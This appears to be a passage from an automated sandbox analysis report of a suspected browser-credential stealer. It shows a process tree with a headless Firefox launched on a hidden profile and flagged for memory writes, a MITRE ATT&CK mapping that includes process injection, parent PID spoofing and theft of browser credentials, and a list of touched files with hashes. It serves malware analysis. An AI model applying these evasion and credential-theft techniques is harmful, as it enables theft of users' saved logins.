    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1680,i,9382402716986262181,4290958902099210663,262144 --field-trial-handle=2284,i,12089411891297947719,9323317179722635943,262144 --variations-seed-version --mojo-platform-channel-handle=2280 /prefetch:2
    3⤵
    PID:432
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2556,i,12769359861538795345,12084207510091437582,524288 --field-trial-handle=2284,i,12089411891297947719,9323317179722635943,262144 --variations-seed-version --mojo-platform-channel-handle=2712 /prefetch:8
    3⤵
    PID:2380
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3448,i,2505448774098945128,3062299163003395637,2097152 --field-trial-handle=2284,i,12089411891297947719,9323317179722635943,262144 --variations-seed-version --mojo-platform-channel-handle=3492 /prefetch:1
    3⤵
    PID:5160
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3456,i,4687905834901030631,10207938896829569733,2097152 --field-trial-handle=2284,i,12089411891297947719,9323317179722635943,262144 --variations-seed-version --mojo-platform-channel-handle=3516 /prefetch:1
    3⤵
    PID:5168
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4088,i,2769177400738948134,3267351860219893832,2097152 --field-trial-handle=2284,i,12089411891297947719,9323317179722635943,262144 --variations-seed-version --mojo-platform-channel-handle=4104 /prefetch:1
    3⤵
    PID:5288
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4108,i,5235019134280569415,3245481866262536230,2097152 --field-trial-handle=2284,i,12089411891297947719,9323317179722635943,262144 --variations-seed-version --mojo-platform-channel-handle=4124 /prefetch:2
    3⤵
    PID:5296
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3632,i,17400545088084220367,16733116413737516880,524288 --field-trial-handle=2284,i,12089411891297947719,9323317179722635943,262144 --variations-seed-version --mojo-platform-channel-handle=5000 /prefetch:8
    3⤵
    PID:5504
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5176,i,18148563976698608520,5499546333001566650,524288 --field-trial-handle=2284,i,12089411891297947719,9323317179722635943,262144 --variations-seed-version --mojo-platform-channel-handle=5240 /prefetch:8
    3⤵
    PID:5196
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5184,i,3637332982103503656,6263465839685199115,524288 --field-trial-handle=2284,i,12089411891297947719,9323317179722635943,262144 --variations-seed-version --mojo-platform-channel-handle=5260 /prefetch:8
    3⤵
    PID:3996
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5028,i,10323679772946275246,3176733802584879114,524288 --field-trial-handle=2284,i,12089411891297947719,9323317179722635943,262144 --variations-seed-version --mojo-platform-channel-handle=5072 /prefetch:8
    3⤵
    PID:5684
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5028,i,10323679772946275246,3176733802584879114,524288 --field-trial-handle=2284,i,12089411891297947719,9323317179722635943,262144 --variations-seed-version --mojo-platform-channel-handle=5072 /prefetch:8
    3⤵
    PID:5712
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6424,i,11570801369795258611,4174467751211904945,524288 --field-trial-handle=2284,i,12089411891297947719,9323317179722635943,262144 --variations-seed-version --mojo-platform-channel-handle=6380 /prefetch:8
    3⤵
    PID:5976
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6572,i,18409985792744371673,2841031672571279905,524288 --field-trial-handle=2284,i,12089411891297947719,9323317179722635943,262144 --variations-seed-version --mojo-platform-channel-handle=6560 /prefetch:8
    3⤵
    PID:2368
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6932,i,9475080036846514629,8929911900096689055,524288 --field-trial-handle=2284,i,12089411891297947719,9323317179722635943,262144 --variations-seed-version --mojo-platform-channel-handle=6908 /prefetch:8
    3⤵
    PID:1564
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7052,i,13750213718073610737,14183199199384888939,524288 --field-trial-handle=2284,i,12089411891297947719,9323317179722635943,262144 --variations-seed-version --mojo-platform-channel-handle=6864 /prefetch:8
    3⤵
    PID:5080
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6892,i,3896134511977060318,8166882868992426788,524288 --field-trial-handle=2284,i,12089411891297947719,9323317179722635943,262144 --variations-seed-version --mojo-platform-channel-handle=7044 /prefetch:8
    3⤵
    PID:4164
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe" -headless -no-remote -profile "C:\Users\Public\.ff_tmp"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5988
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -headless -no-remote -profile C:\Users\Public\.ff_tmp
    3⤵
    - Checks processor information in registry
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:6032
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2764 -prefsLen 24447 -prefMapHandle 2768 -prefMapSize 268500 -ipcHandle 2832 -initialChannelId {60d6903e-8664-40e6-a4c4-0f0b6eb0ecbc} -parentPid 6032 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6032" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 socket
      4⤵
      PID:5620
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 2040 -prefsLen 24658 -prefMapHandle 2056 -prefMapSize 268500 -jsInitHandle 2016 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 944 -initialChannelId {1e8f3d8b-50ca-4b78-824a-bcac85779ed7} -parentPid 6032 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6032" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 tab
      4⤵
      Checks processor information in registry
      PID:1332
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3704 -prefsLen 25544 -prefMapHandle 3708 -prefMapSize 268500 -ipcHandle 2016 -initialChannelId {862be2f1-4de7-455e-9fba-a3174281d7a8} -parentPid 6032 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6032" -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 rdd
      4⤵
      PID:2900
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4132 -prefsLen 25606 -prefMapHandle 4136 -prefMapSize 268500 -jsInitHandle 4140 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4148 -initialChannelId {3019f184-58e3-4a2d-833e-77cb2a26e0e7} -parentPid 6032 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6032" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 tab
      4⤵
      Checks processor information in registry
      PID:2796
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 4816 -prefsLen 36251 -prefMapHandle 4820 -prefMapSize 268500 -ipcHandle 2104 -initialChannelId {8b0868a9-044b-4e43-8485-b83bfff71ffa} -parentPid 6032 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6032" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 utility
      4⤵
      Checks processor information in registry
      PID:1120
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4984 -prefsLen 34446 -prefMapHandle 4988 -prefMapSize 268500 -jsInitHandle 4992 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5032 -initialChannelId {617e6008-19a9-40e3-ba16-6fbb2a220dcc} -parentPid 6032 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6032" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 tab
      4⤵
      Checks processor information in registry
      PID:5708
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5008 -prefsLen 34446 -prefMapHandle 5012 -prefMapSize 268500 -jsInitHandle 5016 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5044 -initialChannelId {e887d0e2-4a7f-4e6d-b14f-260607969a31} -parentPid 6032 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6032" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
      4⤵
      Checks processor information in registry
      PID:5756
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5324 -prefsLen 34446 -prefMapHandle 5320 -prefMapSize 268500 -jsInitHandle 5316 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5308 -initialChannelId {22b7f7f1-9931-4f53-ae9d-dad16bf41c13} -parentPid 6032 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6032" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
      4⤵
      Checks processor information in registry
      PID:2872

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4316

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:1196

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:1204

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Privilege Escalation

Access Token Manipulation

T1134

Parent PID Spoofing

T1134.004

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Process Injection

T1055

Defense Evasion

Access Token Manipulation

T1134

Parent PID Spoofing

T1134.004

Process Injection

T1055

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

update-config.json

Path C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\308046B0AF4A39CB\update-config.json
Size 102B
SHA256 ffad3b0fb11fc38ea243bf3f73e27a6034860709b39bf251ef3eca53d4c3afda
MD5 7d1d7e1db5d8d862de24415d9ec9aca4
SHA1 f4cdc5511c299005e775dc602e611b9c67a97c78
SHA512 1688c6725a3607c7b80dfcd6a8bea787f31c21e3368b31cb84635b727675f426b969899a378bd960bd3f27866023163b5460e7c681ae1fcb62f7829b03456477
TLSH
T12BB012800100B658F0FC4CCC05303B3E0248402D44CF3903004D30A0787B0020A094FE
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
Size 649B
SHA256 ae20fa630dc856dcecdc2aa275e7b41bcbd68b3e574f47e670f6526b1739d8bb
MD5 3b4f0702630525ad4863804c4b3a215d
SHA1 e86944ac6bc551b8a9210d28f0f3b2d7a0c29810
SHA512 aceb694603ae27fe15887a31721163238b4cce8af6e65cfeef1e04dfab5563c5876d9a7650c4225cbbf5619e108e8d81a50c8a3e3309eddd2bb084ff9eef04bc
TLSH
T1FEF078A5CD21AC7B18FC0B2D20A80B47F794136B2780895B3B3C960C8FF423B458586C
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 130KB
SHA256 c79a5a5daf085fda8d11774281f7d0a32d270cf4eba19a4fdffbe466b4dfd772
MD5 cefc4ddfff388d257a7a71844f2ef6d4
SHA1 58f02deffa0d2fa97c68a214a54ba89a546b5e1e
SHA512 2bb9ed40c3d73a7be6627942153dd3f4d88cdb779a56f7ff2d306eaec50db2a1dafeac5053e0fbefcefa04158bf3bd1e641cfee377386454b46c12b458dd3f4c
SSDEEP 3072:xMW+lPFz63F8+7t5x0M2XLqD90xWfrz6a9pInCOp+EGFAJ8P+gE:mW+hFD+7t56OD9ZfSApprE
TLSH
T1C4D31232AA95D8BBC9FC6541B157A300DE766CED41DE2A09444A9F8EE09FC4C0773A37
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 93c2ca3ce74eca17f27aa90cc3323bb8d6aea5c365862a01a512ce14b9f825b4
MD5 e8a3239e6b22580d77fb537c7bea1fab
SHA1 a99ffe9234c27e560f1c607d3b6c6507928368a3
SHA512 17b0e6f99943a02540148a685b91c62eafca3ef65d9a628bfb59d3b69a93b27c7d3ac42bdc808c52b5b1eac9bf4466a1099df17cd3f5df0bbd5b5282ca8b904e
TLSH
T170D0247133D03CCFD7000433015043751C0540F300F5D3104C30D04C07CD055C143440
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 928eda824fe964cd23927cf06086d7d24e20a3a5092daf1acee5b632c76c962a
MD5 4ac43ee6512ba8635b7ba6bd015c291b
SHA1 5f9e2474b00ec0e2a9472c049fbea550e26309aa
SHA512 e5ebf9e92458f66e31e080121135313e828b8ebade0bc0e085221ae0d4f5afe0d2035c566590cbfb5902d96f17befe7b24310b4fb9e647b999113175af800ebc
TLSH
T17BD022B2B3A038CFE300083302A083BA2C0A80F300FAE2208C30E08C0BCC02AC283880
MD5 SHA1 SHA512 TLSH

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 2c291d6a5a66bfe417bbc897562f3408eb374bb6c8426920bf3efbfea41e91d7
MD5 398158c4ba4d66af0d5cd55530fde466
SHA1 ebf1f43ab89400fac5a5c795e9d541f527113d85
SHA512 b28f4031058d721d3a3dc45a73b82e879585ae8cd5daaf771ef64cbff4159e7e4009b50ad4bc48214ac36fdde9362b6fbb90fb9c54c8f1f1b2595f624461584c
SSDEEP 192:sxZ1R2aTZ/fJsh1fTSybyjrdpmoHW6+WNBG0/Y36UTL2Ig4J:sxZ1tN/fJsh17YjH3Hbv/XU+c
TLSH
T1EB42C6166E38697B8CC7D228BA15BF43E6F9503294D41E98A6FC8B1C04E66DD231781B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 32KB
SHA256 4f0ad7cd91ed814e106b88b57745a2cc277e64344c80cde29c02c0c6546f9089
MD5 c4b4438ef12d38e1f87d8bd8c9a61b92
SHA1 ff1ba6c9143563fb044694633df71a817789cd98
SHA512 c8a71016cc381b5471d1c771261a98001235f306f810b4dec96a072682a8f3a79c5f53e358abbdf74b83c5fc7b40c204aa568ae7d4239c2a962a19bbb1e9bd77
SSDEEP 768:2oKlmwB7pLuLbYQWvUYe08F1+UoAYDCx9Tuqh0VfUC9xbog/OVzD8/LlpPs/SroV:2oKlmw3EbYQWvUYe0u1jamD8/L/E/Jhv
TLSH
T1DAE2EB7B780CCF7E4FC04ADDDC1A7E9A6EA802CB9698C94047FA945C02C66EA51174DF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\ca0228ce-979d-4f91-8831-cd3ef9814842\index-dir\the-real-index
Size 744B
SHA256 70af9d1f96c17b34589ed98d26fecb4749d9920659418a8e584d8c87c90aeb37
MD5 7ba9d22edf2a7458c8c21e0166aec822
SHA1 b069f9f45be98f999f877dcf7ac25e3623bf3440
SHA512 79239feb6d651f357bb296378effe58f4a91319b1277bf43d522fe4e0c04dc4f1c48e3275f6d790750630b47b56c031e1cbf5b278952c3611e17cef786c762c2
TLSH
T10E0120574E030A17EC180935A83CB886A27403DC93212A4F61FEC02EDCE7B80FE81294
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe58b1d6.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\ca0228ce-979d-4f91-8831-cd3ef9814842\index-dir\the-real-index~RFe58b1d6.TMP
Size 768B
SHA256 a32735c098da299fe2ff4d0146399e345df3ce9f61d37026acfc8b61fd9d7fea
MD5 2def6cc217008f3fdccdc1f0e04c5504
SHA1 f15322cd4b9c524607204f1edae44044f44aa4da
SHA512 e5efc7f8e530cd7cfb7249fc599dc0fcf8122651c31f1bcaedeb02accc272c5f2f022797aa2eacbe223cd5f7fef76cd71a520a0cfd044ca51f689606176a2f9c
TLSH
T1410120D645134B43FC400370DA3CA4063176804893A1774FA3BAA02ACC52B807D83EA0
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 459b579c09f717034d7abad49ab165daa1fe38f4eff374eb6b6b843cc64fd6f9
MD5 182f08f12e8c510c3555c042344dabdf
SHA1 ae69efad76891800120282a8d95ad8cbeaed7d77
SHA512 69376af44387560024efe24f3ea80c4bdeb459b1701b6cf000230687ebfb74bcc084c384e3c2b54130d7e241cf0aa3475890aa9349d34744ffcf31ef907f3bd5
SSDEEP 96:KqONkrQsjpfbUmjH5ih/cIPURHl8h4otop5MaDRBKP4v+Y1xf//ojdoxTeYzqsoT:BON/6JUm0QmiUytnso//YpBC361EYU6
TLSH
T1D602E839BC74ACBB8EE3AE45F48777239FA4106B96915F44DAD92B1D01D725C2303C26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 18KB
SHA256 e721f944d835131439dd6d1e36ba47ea8f3845072fddf0dec4270018f4d1de06
MD5 d4fc651edd761b077c15a666957a4c08
SHA1 cb1f9511a8724f7013c80b522fde33b4f7413123
SHA512 098884c711a09091d24fe899cc52de8454548dffa168ec5e3018dc640fbead6834b2b22e8cf695562d849a631182389958e6a9e06e093c1ccd3990d6954d7a68
SSDEEP 384:nkZcIhsNSZTUMbji14h//Yha3ItgOIwZOyeToJ:ChId1E/QI3IXsVi
TLSH
T128828C75AC79EC77A8EBA210F18777134E7890B7A9C09F90D4E9AB1D04D61D8270BC23
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 242df3f9cfd597e752004969d89fe7cca450686f919f515a434e636718309a00
MD5 c9b66e6775a9e51401ad4d979ba72645
SHA1 d6aa6e02490a8c86efc2ba97431066912aac29fd
SHA512 2ff8732a739e289732efb6d2ec01c052ecfd50cbd7430804fe931caa24c26bd68923d6be903857c91eb7bd1b08c70ff2f7fa80e7409f42c8dd6a4fe33e49f8ea
SSDEEP 96:KqONkjQsjpfbUHH5ih/cIPURHl8h4otop5MXgDRBOP4v+Y1xf//ojdoxTeYzqsos:BONj6JUwQmiUy4WnIo//YhrNx3zqlNU6
TLSH
T1CC121738B878FC779DD3A554F08777638EA410BB9E819F54E6D86B2C05C629C2B0BC12
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Path C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
Size 2KB
SHA256 0aaf0e5c63e5eb2db321fc8f25378bb4bc4762599c3cc2c4163b5695d5d0c2b9
MD5 2cd6e6481ee7f2bf95efb6b851d5af20
SHA1 6adf15cd5435cade7afb8e7b0cc9d6b0aad427cf
SHA512 ec3dc336931fb73261a968dbb8d7cbc4b4c4a78eadc59849889406d9905ca8f3af0487e9c0d322391c47e0a53de8b05764b458ca66a9ff2b9d4bd580e0a332d3
TLSH
T1DC41F85CA6F9010CB3B76E5A9BF6A46E487EB9372E06D56D00110E4F0A27B00C961B37
MD5 SHA1 SHA512 TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 53KB
SHA256 499efdc3635b176946654a629ede6dd7fc3d573ead094b77d60b60f97cd208c2
MD5 eb95593cadef8a5dd4ae7059529d25c7
SHA1 464b6fc05fe1c21127a61db0a38e3e9c8c369d18
SHA512 28de4369543ef8f076d7a2169d08c9fca3d57ff2d4b207868227c206839b1e5c4438bf762fdd8a8ed4df6b45c458593c16be02adca044611b8b2c1f44a3afef8
SSDEEP 1536:gC+jH04tAHk1ZSMrxyNhftflJdvYoFi3j39MVvjMlUst+hNOwUp7bNvv+EGa5bxX:gC+jH04tAHk1cMrxyNhftflJdvYoFi3F
TLSH
T128334093E9204D71E1A66F3EF15662227D34394690F8113212DC25EFA983D970B1FAFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 20KB
SHA256 699ec4395a61b133da308669acb234b1bfd08080cab5a4058ea61ff39aa78dc4
MD5 10073eb8da34f56cd96a0f1b4b83cd59
SHA1 4d781e2633df48c3f6654edb51f078113f952f79
SHA512 d8fd0e9a52399187933f9d8da3b8c2d3bf71fdc27df173e8eb778e8ba73cd0ae37f9b9cfb6dae9d6b3f05b44c039c1baa5652620684ce7335fd93768b798f7d5
SSDEEP 384:Msf+Fst9i+q8NxttpBdwvPo9ogThK6seY0C58/wo3SoFaf5OPET5LHhd8jt0WuMy:pfJc8PNT5ogThNe6VS1+ETVoSWuX
TLSH
T1B492D65E600F96C3C485D378E10A041FE4F2DE8D53291BD87B5E9E7BCAACA9ED02D548
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

854c9772-b2bf-44a8-93c0-3827e932a339.tmp

Path C:\Users\Admin\AppData\Local\Temp\854c9772-b2bf-44a8-93c0-3827e932a339.tmp
Size 1B
SHA256 cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8
MD5 5058f1af8388633f609cadb75a75dc9d
SHA1 3a52ce780950d4d969792a2559cd519d7ee8c727
